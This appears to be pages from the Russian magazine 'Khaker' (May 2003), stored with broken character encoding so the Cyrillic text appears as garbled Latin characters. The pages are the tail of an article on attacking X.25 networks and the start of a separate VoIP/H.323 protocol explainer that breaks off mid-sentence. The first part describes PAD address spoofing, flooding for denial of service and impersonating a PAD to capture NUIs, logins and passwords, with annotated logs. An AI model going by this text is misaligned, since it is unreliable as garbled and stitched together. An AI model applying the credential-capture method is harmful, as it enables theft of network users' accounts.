ïàêåòå, à ïî ëîãè÷åñêèì íîìåðàì êàíàëîâ). ×òî<br />

ýòî äàåò, ÿ äóìàþ ïîíÿòíî ñðàçó. Âî-ïåðâûõ, ýòî<br />

âîçìîæíîñòü ïîäñòàâëÿòü ëþáûå àäðåñà (ò.å. ïðè<br />

æåëàíèè ìîãóò ïðèéòè ñîâñåì â äðóãîå ìåñòî).<br />

Âî-âòîðûõ, åñëè ìû íå ïîäñòàâèì àäðåñà âîîáùå,<br />

òî íèêòî íè÷åãî è íèêîãäà íå óçíàåò. Ïëþñû<br />

î÷åâèäíû. Âòîðàÿ âîçìîæíîñòü - ñòàðûé äîáðûé<br />

ñðà÷. Ò.å. DoS. Ñ òåðìèíàëüíîé ëèíèè (ìîäåìà)<br />

DoS, êîíå÷íî, íå ãðîçèò, íî ñ ëþáîãî áîêñà, èìåþùåãî<br />

âûõîä â x25-ñåòü, ìû ìîæåì ýòî óñòðîèòü,<br />

ïîñûëàÿ ïîñòîÿííûå çàïðîñû íà æåðòâó. Î÷åâèäíî,<br />

÷åì áîëüøå áîêñîâ, òåì ëó÷øå. Åùå îäèí âàðèàíò<br />

- ýòî äàâíî èçâåñòíûé ïî Ëèðèêîâñêîé ñèòå<br />

"ñíèôèíã-ïîäñòàâà". ×òî ìû äåëàåì â ýòîì ñëó-<br />

÷àå. Ìû íàõîäèì àäðåñ íóæíîãî íàì ïàäà è ïîñòîÿííî<br />

øëåì ïàêåòû ñ çàïðîñîì êîííåêòà íà àäðåñ<br />

ýòîãî ïàäà, êîòîðûì ìû ÿêîáû áóäåì. Â ðåçóëüòàòå<br />

âîçíèêíîâåíèÿ íåêîòîðûõ êîëëèçèé è íåïðîâåðêè<br />

ñîîòâåòñòâèÿ àäðåñîâ, õîñò-æåðòâó ñîåäèíÿþò<br />

ñ ïîñûëüùèêîì òàêèõ ïàêåòîâ (äîãàäàéòåñü,<br />

êòî ýòî :)), êîòîðûé óæå ìîæåò ïðèêèíóòüñÿ<br />

ïàäîì, âûäàòü ïàäîâîå ñîîáùåíèå è çàèìåòü âñå<br />

äàííûå ïîëüçîâàòåëÿ, âêëþ÷àÿ nui, ëîãèíû, ïàðîëè<br />

è òîìó ïîäîáíîå. Âîò êàê ýòî âûãëÿäåëî â sita<br />

network (ëîã êèáåð-ëèðèêà): (òàáëèöà 1)<br />

 ðîñíåòå ýòî äåéñòâóåò àíàëîãè÷íûì ñïîñîáîì, ÷òî<br />

ìîæíî óâèäåòü íà ñëåäóþùåì ïðèìåðå (ëîã graf'a):<br />

(òàáëèöà 1)<br />

Âîò ýòî è åñòü ïðîñòûå "íîâîìîäíûå" ñïîñîáû.<br />

Äàëåå ïðåäëàãàþ øòóäèðîâàòü ëèòåðàòóðó è èñêàòü<br />

ñâîè ñïîñîáû.<br />

ÇÀÊËÞ×ÅÍÈÅ<br />

Èòàê, òåïåðü òû ìîæåøü ïîëüçîâàòüñÿ ýòèìè ïðèåìàìè<br />

äëÿ äîñòèæåíèÿ êàêèõ-òî ñâîèõ öåëåé. Íî<br />

ÿ íàäåþñü, ÷òî ñòàòüÿ íàïðàâèò òåáÿ â íóæíîå<br />

ðóñëî, è êîíå÷íî, î÷åíü íåæåëàòåëüíî, ÷òîáû ïî-<br />

÷åðïíóòûå çíàíèÿ èñïîëüçîâàëèñü ïðîòèâîçàêîííî.<br />

Õî÷åòñÿ âåðèòü, ÷òî ýòà ñòàòüÿ ïîêàæåò ìíîãèì,<br />

÷òî êðîìå TCP/IP ñòåêà åñòü ìíîæåñòâî íå<br />

ìåíåå èíòåðåñíûõ ïðîòîêîëîâ (x25, êîíå÷íî æå,<br />

íå åäèíñòâåííûé ïðåäñòàâèòåëü). Òàê<br />

÷òî óäà÷íîãî òåáå îñâîåíèÿ x25-ñåòåé!<br />

XXXX XXX<br />

SITA NETWORK: call cleared - destination not<br />

responding<br />

// êàæåòñÿ, PAD ñâîáîäåí<br />

XXXX XXX<br />

SITA NETWORK: call connected to XXXX XXX<br />

(001) (n, nui 19730001 charging, packet size:<br />

128)<br />

...<br />

NUI 12345678<br />

ASDF1H<br />

SITA NETWORK: call cleared - remote directive<br />

// ìîæåò áûòü, êîëëèçèÿ â îäíî è òî æå âðåìÿ<br />

// æåðòâà è õàêåð êîííåêòÿòñÿ íà PAD<br />

XXXX XXX<br />

SITA NETWORK: call cleared - destination busy<br />

// îïñ ... æåðòâà óæå ðàáîòàåò<br />

[ ... âûðåçàíî èç ëîãà ... ]<br />

*60001010009<br />

ACP:clr not obtainable - remote directive<br />

241 device not ready<br />

*60001010009<br />

ACP:clr not obtainable - remote directive<br />

241 device not ready<br />

*60001010009<br />

ACP:clr not obtainable - remote directive<br />

241 device not ready<br />

*60001010009<br />

ACP:fac: r,p(128,128),w(2,2),d(9600,9600)<br />

com<br />

Enter ADDRESS[*userdata], n-ADDRESS for NUI<br />

access or HELP<br />

WELCOME TO ROSNET!<br />

// âîò ìû ïîäêëþ÷èëèñü ê ìîäåìíîìó ïóëó,<br />

çäåñü íå õâàòàåò òîëüêî "*" //<br />

*


Âçëîì<br />

ÕÀÊÅÐ\¹53\Ìàé\2003<br />

VOIP ÈÇÍÓÒÐÈ<br />

Ñàëèåâ Àëåêñàíäð aka Fagot (salieff@mail.ru)<br />

VOIP ÈÇÍÓÒÐÈ<br />

ÊÀÊ ÐÀÁÎÒÀÅÒ ÑÎÂÐÅÌÅÍÍÎÅ VOIP ÎÁÎÐÓÄÎÂÀÍÈÅ<br />

Êîãäà-òî äàâíî âñÿ òåëåôîíèÿ õîäèëà ïî ìåäè â àíàëîãîâîì âèäå, íî òå âðåìåíà ïðîøëè, è èíòåðíåò,<br />

çàõâàòèâøèé âñþ ïëàíåòó, ïîãëîùàåò è ýòîò, êàçàëîñü áû, òðàäèöèîííûé âèä ñâÿçè. ß íå<br />

áóäó ðàññêàçûâàòü î òîì, êàê ýòî ìîãëî áû áûòü, êàê ìîãëî áû áûòü ëó÷øå è ÷òî ñåé÷àñ õóæå, è âîîáùå<br />

ðàñòåêàòüñÿ ìûñëüþ ïî äðåâó. ß ïîêàæó, ÊÀÊ ÝÒÎ ÐÀÁÎÒÀÅÒ, ðàçîáðàâ âñå äî ñàìûõ îñíîâ.<br />

ÏÐÈÕÎÄ ÖÈÔÐÛ<br />

Àíàëîãîâûå ìåòîäû êîììóòàöèè óæå äàâíî íà÷àëè<br />

èçæèâàòü ñåáÿ, íà÷àëîñü ïîáåäíîå øåñòâèå ÷àñòîòíîãî<br />

ìóëüòèïëåêñèðîâàíèÿ íåñêîëüêèõ ñîåäèíåíèé<br />

â îäíó ëèíèþ, ãðîçèâøåå âîò-âîò ïðåîáðàçîâàòüñÿ<br />

â êîíâåéåðíóþ öèôðîâóþ ïåðåäà÷ó ãîëîñà<br />

ïî êàíàëàì ATM, è ïîñòåïåííî ñàìî ñîáîé íàçðåâàëî<br />

ðåøåíèå î ïðèâåäåíèè ê åäèíûì ñòàíäàðòàì<br />

ìåæàáîíåíòñêîé ñèãíàëèçàöèè â öèôðîâîì<br />

âèäå. Ïîñëå íåêîòîðûõ ïðîìåæóòî÷íûõ âàðèàíòîâ<br />

âîçíèê ñòàíäàðò ISDN, êîòîðûé è ñåé÷àñ<br />

øèðîêî ïðèìåíÿåòñÿ íà êðóïíûõ ìàãèñòðàëÿõ ÃÒÑ.<br />

Âîò êàê îáùàþòñÿ 2 àáîíåíòà â ISDN-ñèãíàëèçàöèè:<br />

êîãäà àáîíåíò "À" íàáèðàåò íîìåð íà òåëåôîíå,<br />

åãî ÀÒÑ âûäåëÿåò òàéì-ñëîò â ÀÒÌ-ïîòîêå<br />

(ýòî çíà÷èò, ÷òî êàæäûé n-öàòûé ïàêåò öèôðîâîãî<br />

êîíâåéåðà áóäåò ñîäåðæàòü èíôîðìàöèþ î äàííîì<br />

çâîíêå), è ïîñûëàåò â ñòîðîíó ÀÒÑ àáîíåíòà<br />

"Á" êîìàíäó SETUP, ñîäåðæàùóþ â ñåáå èíôîðìàöèþ<br />

î òåëåôîííîì íîìåðå àáîíåíòà "À" (ÀÎ-<br />

Íå), òåëåôîííîì íîìåðå àáîíåíòà "Á" è íåêîòîðóþ<br />

ñëóæåáíóþ èíôîðìàöèþ, ïîçâîëÿþùóþ êîððåêòíî<br />

îáñëóæèâàòü çâîíîê. Òàêæå â ýòîì è ïîñëåäóþùèõ<br />

ïàêåòàõ (âïëîòü äî óñòàíîâëåíèÿ ãîëîñîâîãî<br />

îáìåíà) ïðèñóòñòâóåò èíôîðìàöèÿ, ïîçâîëÿþùàÿ<br />

äâóì ÀÒÑêàì íàñòðîèòüñÿ ìåæäó ñîáîé, ñ<br />

öåëüþ ñäåëàòü ñâÿçü îïòèìàëüíîé è êà÷åñòâåííîé.<br />

ÀÒÑ "Á" îòâå÷àåò ïàêåòîì SETUPACKNOWL-<br />

EDGE, ïîäðàçóìåâàÿ, ÷òî îíà ïðèíÿëà âûçîâ è<br />

ñåé÷àñ áóäåò åãî îáðàáàòûâàòü. Äåëàÿ ïîïûòêè<br />

äîñòó÷àòüñÿ äî ñâîåãî àáîíåíòà, ÀÒÑ "Á" øëåò ïàêåò<br />

CALLPROCEEDING, ÷òî çíà÷èò, ÷òî îíà æèâà è<br />

îáðàáàòûâàåò çâîíîê. Êîãäà ñîåäèíåíèå ñ àáîíåíòîì<br />

"Á" ïðîèçîøëî, ÀÒÑ "Á" øëåò ïàêåò<br />

ALERTING, êîòîðûé îçíà÷àåò, ÷òî òåëåôîí "Á"<br />

òðåçâîíèò è îæèäàåòñÿ ñíÿòèå òðóáêè. Ïîñëå òîãî<br />

êàê àáîíåíò "Á" ñíÿë òðóáêó, ÀÒÑ "Á" ïîäíèìàåò ñ<br />

íèì ãîëîñîâîé êàíàë è øëåò ïàêåò CONNECT, ÀÒÑ<br />

"À" îòâå÷àåò åé ïàêåòîì CONNECTACKNOWLEDGE<br />

(ïîäðàçóìåâàÿ, ÷òî îíà, â ñâîþ î÷åðåäü òîæå<br />

ïîäíèìàåò ñ àáîíåíòîì "À" ãîëîñîâîé êàíàë), è â<br />

1 2 3 4<br />

74 Íüþñû Ôåððóì Inside PC_Zone Âçëîì


Ñåññèÿ â ISDN-ñåòè<br />

îáå ñòîðîíû íà÷èíàþò ïåðåäàâàòüñÿ ãîëîñîâûå<br />

äàííûå. Ïî îêîí÷àíèè ðàçãîâîðà òà ÀÒÑ, ñî ñòîðîíû<br />

êîòîðîé àáîíåíò ïåðâûì ïîëîæèë òðóáêó,<br />

øëåò ïàêåò DISCONNECT, äðóãàÿ ÀÒÑ îòâå÷àåò åé<br />

RELEASE, ÷òî çíà÷èò, ÷òî îíà îñâîáîæäàåò öèôðîâûå<br />

ðåñóðñû, âûäåëåííûå ïîä çâîíîê, è ñåàíñ<br />

ñâÿçè çàâåðøàåòñÿ ïîñûëêîé RELEASECOMPLETE<br />

è îñâîáîæäåíèåì öèôðîâûõ ðåñóðñîâ ñî ñòîðîíû<br />

ïåðâîé ÀÒÑ.<br />

Ïðèìå÷àòåëüíî òî, ÷òî âñÿ ýòà ñèãíàëèçàöèÿ êîäèðóåòñÿ<br />

íå ÷àñòîòíîé ìîäóëÿöèåé èëè ïðî÷èìè<br />

òðóäíîïîíèìàåìûìè àíàëîãîâûìè è ïîëóàíàëîãîâûìè<br />

ìåòîäàìè, à ïðåäñòàâëÿåò ñîáîé ïðèâû÷íûå<br />

äëÿ íàñ áàéòîâûå ïàêåòû ñ ÷åòêî çàäàííîé ñòðóêòóðîé<br />

ïîëåé. Çâóê òîæå ïåðåäàåòñÿ â âèäå áàéòïàêåòîâ,<br />

ïðåäñòàâëÿþùèõ ñîáîé ôðåéìû, êîäèðîâàííûå<br />

â áîëüøèíñòâå ñëó÷àåâ êîäåêîì G.711, ÷òî<br />

åñòü íè ÷òî èíîå, êàê PCM 8 kHz 16 bit (êàê â WAVôàéëå<br />

áåç êîìïðåññèè) òîëüêî íå ñ ëèíåéíûì<br />

ðàñïîëîæåíèåì ñòîëáöîâ, à ñ ëîãàðèôìè÷åñêèì.<br />

VOICE OVER IP!<br />

 ïðèíöèïå, ïðîòîêîë ISDN áûë ðàçðàáîòàí äëÿ<br />

ñåòåé ATM è ïðî÷èõ X.25, ÷òî ïðåäñòàâëÿëî íåêîòîðóþ<br />

ïðîáëåìó äëÿ êîììåð÷åñêèõ îïåðàòîðîâ,<br />

èáî äîñòóï ê ýòèì ñåòÿì åñòü äàëåêî íå ó âñåõ.<br />

Òîãäà âîçíèêëî åñòåñòâåííîå ðåøåíèå ðàçðàáîòàòü<br />

àíàëîã ISDN äëÿ ñåòåé IP, ÷òîáû ãîíÿòü òåëåôîíèþ<br />

÷åðåç public internet, âåäü ïîìèìî äîñòóïíîñòè<br />

ýòîé ñåòè äàííûé ïîäõîä ïîçâîëÿë ïëàòèòü<br />

çà òðàôèê, à íå çà êèëîìåòðû äî ïóíêòà íàçíà÷åíèÿ.<br />

Ñèãíàëèçàöèþ áûëî ðåøåíî ïîëîæèòü íà TCP<br />

(õîòÿ â ðåêîìåíäàöèÿõ ITU-T ïðèñóòñòâóþò ìîäåëè<br />

äëÿ ìíîæåñòâà ïðîòîêîëîâ, âêëþ÷àÿ IPX, íî íàèáîëåå<br />

ïðèæèëèñü TCP è UDP), ýòî äàâàëî îïðåäåëåííûå<br />

ïëþñû â âèäå ãîòîâîé ìîäåëè ñîçäàíèÿ<br />

ñîåäèíåíèÿ. Ïîýòîìó ïàêåòû ñåðèè ACKNOWL-<br />

EDGE áûëî ðåøåíî óïðàçäíèòü, à òàêæå ñâåñòè<br />

ïðîöåäóðó çàêðûòèÿ ñîåäèíåíèÿ ê åäèíñòâåííîìó<br />

(è íå âñåãäà îáÿçàòåëüíîìó) RELEASECOMPLETE.<br />

Ñ äðóãîé ñòîðîíû, äîáàâëÿëàñü IP-àäðåñàöèÿ è<br />

ìíîãî äðóãèõ âçàèìîíàñòðîåê, ñïåöèôè÷íûõ äëÿ<br />

IP-ñåòåé. Äëÿ íèõ áûëè ðàçðàáîòàíû ïðîòîêîëû<br />

H.225 è H.245, ïðèçâàííûå îïèñûâàòü ñîåäèíåíèå<br />

è åãî ëîãè÷åñêèå êàíàëû ñîîòâåòñòâåííî. Äëÿ<br />

ýòèõ òèïîâ ñèãíàëèçàöèè (èõ ñåìåéñòâî íàçûâàåòñÿ<br />

H.323) â Q.931-ïàêåòàõ (â ñòàíäàðòàõ H.323<br />

ñèãíàëèçàöèÿ ISDN íàçûâàåòñÿ Q.931) áûëî âûäåëåíî<br />

ïîëå (èëè IE - èíôîðìàöèîííûé ýëåìåíò, à<br />

íå îñëèê) ïîä íàçâàíèåì USER-USER, ïåðâîíà-<br />

÷àëüíî ïðåäíàçíà÷åííîå äëÿ ïåðåäà÷è ïðîèçâîëüíûõ<br />

íåïðîòîêîëüíûõ äàííûõ ìåæäó àáîíåíòàìè<br />

èëè ÀÒÑêàìè. Ïàêåòû Q.931 áûëè ñîõðàíåíû â<br />

êà÷åñòâå îáîëî÷åê ê H.323 ñ öåëüþ îáëåã÷èòü çàäà÷è<br />

øëþçà, ñòîÿùåãî íà ñòûêå ISDN è IP.<br />

Ñèãíàëèçàöèÿ êëàññà H.323, â îòëè÷èå îò ìíîãèõ<br />

äðóãèõ, íå ïðîñòî óïàêîâûâàåòñÿ â áàéòîâûå ïàêåòû,<br />

à ïèøåòñÿ íà ÿçûêå ASN.1 (Abstractive syntax<br />

notation v.1) è êîìïèëèðóåòñÿ â ïëàòôîðìåííî-íåçàâèñèìûé<br />

êîä, íàïîäîáèå java-applet'à, òîëüêî<br />

íåñåò â ñåáå íå èñïîëíÿåìóþ ïðîãðàììó, à äàííûå.<br />

Èìåííî òàêèå ñêîìïèëèðîâàííûå áëîêè è çàïèñûâàþòñÿ<br />

â IE:USER-USER. Îäíàêî åñëè äëÿ<br />

ñèãíàëèçàöèè õîðîøî ïîäîøåë ïðîòîêîë TCP, òî ñ<br />

ïåðåäà÷åé ãîëîñîâûõ äàííûõ âîçíèêëî ìíîãî ïðîáëåì,<br />

òàêèõ êàê: íåâûñîêàÿ ñðåäíÿÿ ïðîïóñêíàÿ<br />

ñïîñîáíîñòü êàíàëà, íåãàðàíòèðîâàííîå (â îòëè-<br />

÷èå îò ATM) âðåìÿ äîñòàâêè ïàêåòà è âîçìîæíûå<br />

ïîòåðè èíôîðìàöèè (ò.ê. TCP áûë îòêëîíåí ïî<br />

ïðè÷èíå ìåäëåííîñòè è âûáîð ïàë íà UDP). Ïðîáëåìû<br />

ñ øèðèíîé êàíàëà áûëè ðåøåíû ñ ïîìîùüþ<br />

íîâîãî ïîêîëåíèÿ êîäåêîâ (òàê, íàïðèìåð,<br />

ðàñïðîñòðàíåííûé ñåé÷àñ êîäåê G.729 òðåáóåò<br />

âñåãî 8kbps â îòëè÷èå îò 64kbps äëÿ G.711). Ïîòåðþ<br />

è íåðàâíîìåðíóþ äîñòàâêó ðå÷åâûõ ïàêåòîâ<br />

âçÿëè íà ñåáÿ àëãîðèòìû ïðîìåæóòî÷íîé èíòåðïîëÿöèè<br />

è ïðîòîêîëû RTP/RTCP (ïðîòîêîëû äîñòàâêè<br />

è êîíòðîëÿ èíôîðìàöèè â ðåàëüíîì âðåìåíè).<br />

ÏÓÒÈ È ÒÐÎÏÈÍÊÈ<br />

Ðàññêàæó, êàê ïðîõîäèò ñåññèÿ ìåæäó äâóìÿ<br />

VoIP’øíûìè óñòðîéñòâàìè. Øëþç-îðèãèíàòîð<br />

(òîò, ÷òî ñòîèò ñî ñòîðîíû àáîíåíòà "À") èíèöèèðóåò<br />

TCP-ñîåäèíåíèå, ÿâëÿÿñü êëèåíòîì. Øëþçòåðìèíàòîð<br />

(òîò, ÷òî ñòîèò ñî ñòîðîíû àáîíåíòà<br />

"Á") èãðàåò ðîëü ñåðâåðà, ïðèíèìàÿ âõîäÿùèå ñîåäèíåíèÿ<br />

íà ñåðâèñíîì TCP-ïîðòó 1720. Ïî ýòîìó<br />

TCP-êàíàëó ïåðåäàþòñÿ ïàêåòû ñ ñèãíàëèçàöèåé<br />

Q.931. Ñèãíàëèçàöèÿ H.225 ïàêóåòñÿ â<br />

IE:USER-USER ïàêåòà Q.931. Ñèãíàëèçàöèÿ H.245<br />

ìîæåò ïåðåäàâàòüñÿ òðåìÿ ïóòÿìè: ïåðâûé - ïî<br />

íàèáîëåå ñòàðîé ñõåìå - øëþç, æåëàþùèé èãðàòü<br />

ðîëü TCP-ñåðâåðà â H.245-ñåññèè, çàÿâëÿåò ïîñðåäñòâîì<br />

H.225 àäðåñ è ïîðò, íà êîòîðûõ îí áóäåò<br />

æäàòü âõîäÿùåãî êîííåêòà, âòîðîé øëþç ñòàíîâèòñÿ<br />

TCP-êëèåíòîì. Ïîäñîåäèíÿåòñÿ ê ïåðâîìó,<br />

è ïåðåäà÷à ñèãíàëèçàöèè H.245 ïðîèñõîäèò<br />

ïî îòäåëüíîìó TCP-ñîåäèíåíèþ.<br />

Äâà äðóãèõ ñïîñîáà çàêëþ÷àþòñÿ â óïàêîâêå ñèãíàëèçàöèè<br />

H.245 âíóòðü H.225. Ýòî ëèáî ìåòîä<br />

FastConnect, êîãäà ñèãíàëèçàöèÿ H.245 óðåçàåòñÿ<br />

äî áëîêîâ, ñîäåðæàùèõ òîëüêî èíôîðìàöèþ, êàñàþùóþñÿ<br />

ëîãè÷åñêèõ êàíàëîâ, è êëàäåòñÿ âíóòðü<br />

H.225, â ïîëå, èìåíóåìîå FastStart, ëèáî ïàêåòû<br />

5 6 7 8<br />

Þíèêñîèä X-Ñòèëü Êîäèíã


VOIP ÈÇÍÓÒÐÈ<br />

Âçëîì<br />

Ñàëèåâ Àëåêñàíäð aka Fagot (salieff@mail.ru)<br />

H.245 áåðóòñÿ öåëèêîì è êëàäóòñÿ â ïîëå<br />

H245Control, ýòîò ìåòîä íàçûâàåòñÿ<br />

H245Tunneling. Òàêèå ìåòîäû ìîãóò ïðèìåíÿòüñÿ<br />

êàê ïî îòäåëüíîñòè, òàê è âïåðåìåøêó. Ïîñðåäñòâîì<br />

H.245 øëþçû äîãîâàðèâàþòñÿ îá îòêðûòèè<br />

íåîáõîäèìîãî êîëè÷åñòâà ëîãè÷åñêèõ êàíàëîâ è<br />

èõ ñâîéñòâàõ, ñîîáùàÿ îá àäðåñàõ è UDP-ïîðòàõ<br />

äëÿ êàæäîãî êàíàëà ñî ñâîåé ñòîðîíû. Ïî ýòèì<br />

ëîãè÷åñêèì êàíàëàì è áåæèò â îáå ñòîðîíû èíôà<br />

(çâóê, âèäåî, äàííûå) â âèäå UDP-ïàêåòîâ. Íåïîñðåäñòâåííûå<br />

èíòåðôåéñû îáùåíèÿ ñ ïîëüçîâàòåëåì<br />

áûâàþò ñàìûìè ðàçíûìè: ïðîìûøëåííûå<br />

VoIP-øëþçû îáû÷íî ïðèíèìàþò â ñåáÿ ISDN-ïîòîêè<br />

òèïà E1 (ýòî ÀÒÌ-ïîäîáíûé ïîòîê, ïî êîòîðîìó<br />

ìîæíî ãîíÿòü 30 òåëåôîííûõ ñîåäèíåíèé<br />

îäíîâðåìåííî), èñõîäÿùèå èç ãîðîäñêèõ ÀÒÑ. Â<br />

áîëåå äåøåâûå VoIP-øëþçû ìîæíî âñòàâëÿòü íåñêîëüêî<br />

(2-8) ñàìûõ îáûêíîâåííûõ àíàëîãîâûõ òåëåôîíîâ.<br />

Ïðîãðàììà-òåðìèíàë íà êîìïüþòåðå<br />

ìîæåò ðàáîòàòü ñ âíåøíåé êàìåðîé è çâóêîâîé<br />

êàðòîé, íî âñå ýòî íèêàê íå âëèÿåò íà ôîðìàò ñîåäèíåíèÿ,<br />

êîãäà îíî èäåò íåïîñðåäñòâåííî ïî IP.<br />

ÍÎÂÛÅ ÔÈØÊÈ ÈËÈ H.225<br />

Ïðîòîêîë H.225 ïðèçâàí ðåàëèçîâàòü âñå íîâîââåäåíèÿ,<br />

êîòîðûõ íå áûëî â ISDN.  ÷àñòíîñòè ýòî<br />

âñÿ IP-àäðåñàöèÿ, íîâûå âîçìîæíîñòè àäðåñàöèè<br />

àáîíåíòà ïî ñèìâîëüíûì èìåíàì èëè URL-ïîäîáíîé<br />

ñõåìå, îïèñàíèå óíèêàëüíûõ èäåíòèôèêàòîðîâ<br />

ñåññèè (id çâîíêà, id êîíôåðåíöèè), îïèñàíèå ñïåöèôè÷íûõ<br />

îïöèé H.323 ñåññèè (ïðàâèëà óäåðæàíèÿ<br />

ñîåäèíåíèé, ìåòîäû îáìåíà ïàêåòàìè H.245, âîçìîæíîñòü<br />

âñòóïëåíèÿ â êîíôåðåíöèþ è ïðî÷åå).<br />

ß ÒÅÁß ÂÈÆÓ, ß ÒÅÁß ÑËÛØÓ. H.245<br />

Ïåðåäà÷à èíôîðìàöèè ìåæäó àáîíåíòàìè â êîíöåïöèè<br />

H.323 îñóùåñòâëÿåòñÿ ïî òàê íàçûâàåìûì<br />

"ëîãè÷åñêèì êàíàëàì". Ëîãè÷åñêèé êàíàë - ýòî óñòàíîâèâøååñÿ<br />

äâóñòîðîííåå UDP-ñîåäèíåíèå, ïî<br />

êîòîðîìó â ôîðìàòå RTP/RTCP ïåðåäàþòñÿ äàííûå<br />

ïî îãîâîðåííûì ïðàâèëàì. Òàêæå äëÿ ëîãè÷åñêîãî<br />

êàíàëà ñóùåñòâóåò òàêîå ïîíÿòèå, êàê "òèï<br />

ñåññèè". Ñóùåñòâóåò 3 ñòàíäàðòíûõ òèïà ñåññèé:<br />

àóäèî, âèäåî è äàííûå. Ñèãíàëèçàöèÿ H.245 ïðèçâàíà<br />

ñîçäàâàòü è ðàçúåäèíÿòü ýòè êàíàëû, à òàêæå<br />

ïðîâîäèòü ñîãëàñîâàíèÿ ïî ôîðìàòàì ïåðåäà-<br />

÷è äàííûõ, êîòîðûå ïîääåðæèâàþòñÿ îáåèìè ñòîðîíàìè.<br />

Êîëè÷åñòâî ëîãè÷åñêèõ êàíàëîâ ìîæåò<br />

áûòü ðàçëè÷íûì. Åñëè äëÿ ïðîñòîé òåëåôîííîé<br />

ñåññèè õâàòèò äâóõ - îäèí äëÿ ãîëîñà, è îäèí äëÿ<br />

êîíòðîëÿ, òî äëÿ íàâîðî÷åííîé âèäåîñåññèè ïîíàäîáèòñÿ<br />

÷åòûðå ïàðû êàíàëîâ - ïî ïàðå íà êàæäûé<br />

êàíàë ñòåðåîçâóêà, ïàðà äëÿ âèäåî, è åùå ïàðà<br />

äëÿ óäàëåííîãî óïðàâëåíèÿ êàìåðîé.<br />

RTP+RTCP<br />

 ATM-êîíâåéåðàõ âñå áûëî çàìå÷àòåëüíî, è ìîæíî<br />

áûëî áûòü óâåðåííûì, ÷òî êàæäûå n-öàòü ìèêðîñåêóíä<br />

òû áóäåøü ãàðàíòèðîâàííî ïîëó÷àòü ñâîé<br />

ïàêåò ñ G.711-äàííûìè. Â H.323 ðîëü òðàíñïîðòíîãî<br />

ïðîòîêîëà äëÿ ïîëåçíûõ äàííûõ âîçëîæåíà íà<br />

UDP, è òóò íå âñå òàê ðàäóæíî. Ïàêåòû ìîãóò ïðèõîäèòü<br />

ñîâñåì íå ñ òåìè âðåìåííûìè èíòåðâàëàìè,<br />

ñ êîòîðûìè îòïðàâëÿëèñü, ìîãóò ìåíÿòü ïîðÿäîê<br />

ñëåäîâàíèÿ è äàæå âîîáùå òåðÿòüñÿ â ïóòè, íå<br />

äîñòèãàÿ ïîëó÷àòåëÿ. Áîðîòüñÿ ñ ýòèìè íåäîðàçóìåíèÿìè<br />

ïðèçâàíû ïðîòîêîëû RTP è RTCP.<br />

Ïîëåçíàÿ èíôîðìàöèÿ (ê ïðèìåðó, çâóê) ðàçáèâàåòñÿ<br />

íà ñýìïëû äîëæíîé äëèíû, ïàêóåòñÿ îãîâîðåííûì<br />

êîäåêîì, è âêëàäûâàåòñÿ â RTP-ïàêåòû,<br />

êîòîðûå ìàðêèðóþòñÿ âðåìåííûìè ìåòêàìè, íàáîðîì<br />

ñëóæåáíîé èíôîðìàöèè è îòïðàâëÿþòñÿ<br />

äðóãîé ñòîðîíå. Ïðèíèìàþùàÿ ñòîðîíà íå âîñïðîèçâîäèò<br />

ïàêåòû ñðàçó ïî ïîëó÷åíèè, à ñîáèðàåò<br />

èõ â òàê íàçûâàåìûé Jitter-áóôåð, õðàíÿùèé, ê<br />

ïðèìåðó, 10 ïàêåòîâ. Ïîñëå çàïîëíåíèÿ áóôåðà<br />

ïàêåòû âûñòðàèâàþòñÿ â èñõîäíûé ïîðÿäîê ñ ïîìîùüþ<br />

ñâîèõ âðåìåííûõ ìåòîê, íåäîñòàþùèå ïàêåòû<br />

èíòåðïîëèðóþòñÿ ñâîèìè ñîõðàíèâøèìèñÿ<br />

ñîñåäÿìè, è òîëüêî ïîñëå ýòîãî ïðîèñõîäèò èõ<br />

äåêîäèðîâàíèå è âîñïðîèçâåäåíèå.<br />

Òàêæå ïðèñóòñòâóþò ìåõàíèçìû îáíàðóæåíèÿ ïðîìåæóòêîâ<br />

òèøèíû (silence detection) è ãåíåðàöèè<br />

êîìôîðòíîãî øóìà (comfort noise generation, CNG).<br />

Åñëè íà âñåì ïðîìåæóòêå ñýìïëà óðîâåíü ñèãíàëà<br />

íèæå îïðåäåëåííîãî çíà÷åíèÿ, òî äàííûé ñýìïë<br />

ñ÷èòàåòñÿ "ñîäåðæàùèì òèøèíó", è â ïåðåäàþùèéñÿ<br />

ïàêåò íå âêëàäûâàåòñÿ, à âêëàäûâàåòñÿ òóäà<br />

"ìàðêåð òèøèíû", ðàçìåð êîòîðîãî íàìíîãî ìåíüøå<br />

ðàçìåðà çàêîäèðîâàííîãî ñýìïëà. Êîãäà øëþç<br />

ïîëó÷àåò òàêîé ïàêåò, îí íå ïûòàåòñÿ åãî äåêîäèðîâàòü,<br />

à ãåíåðèðóåò òèõèé øóì íóæíîé äëèòåëüíîñòè,<br />

ïîòîìó êàê ñ÷èòàåòñÿ, ÷òî ìåðòâàÿ òèøèíà â<br />

òðóáêå äàâèò íà óøè è íåðâèðóåò àáîíåíòà.<br />

Âðåìÿ îò âðåìåíè ïðîòèâîïîëîæíîé ñòîðîíå îòïðàâëÿåòñÿ<br />

êîíòðîëüíûé RTCP-ïàêåò, ñîäåðæàùèé<br />

ñòàòèñòèêó ïðèåìà RTP-ïàêåòîâ çà çàäàííûé<br />

ïåðèîä âðåìåíè. Ýòî ïîçâîëÿåò óäîñòîâåðèòüñÿ â<br />

òîì, ÷òî ïðîòèâîïîëîæíàÿ ñòîðîíà ïîëó÷àåò äîñòàòî÷íî<br />

ïîëåçíîé èíôîðìàöèè äëÿ òîãî, ÷òîáû<br />

åå âîñïðîèçâåäåíèå è ïðîäîëæåíèå ñåññèè èìåëî<br />

ñìûñë. Òàêæå ýòî ïîçâîëÿåò ñîáðàòü èíôîðìàöèþ<br />

äëÿ ìåõàíèçìà îöåíêè êà÷åñòâà ïåðåäà÷è (Quality<br />

of servise, QoS).<br />

ÕÀÊÅÐ\¹53\Ìàé\2003<br />

Ïðîòîêîëû ñåìåéñòâà H.323 è ñîïóòñòâóþùèå<br />

ÊÎÄÈÌ - ÄÅÊÎÄÈÌ<br />

Íåëüçÿ îáîéòè âíèìàíèåì òàêóþ âàæíóþ òåìó,<br />

êàê êîäåêè. Âñå ñîâðåìåííûå êîäåêè, ïðèìåíÿåìûå<br />

â IP-òåëåôîíèè, èìåþò îáùåãî ïðåäêà - êîäåê<br />

G.711. Ýòîò êîäåê áûë ïîèñòèíå ìîíñòðîèäàëüíûì,<br />

òðåáîâàë ïîëîñû ïðîïóñêàíèÿ 64kbps,<br />

íî, ñ äðóãîé ñòîðîíû, èìåë ñàìûå íèçêèå òðåáîâàíèÿ<br />
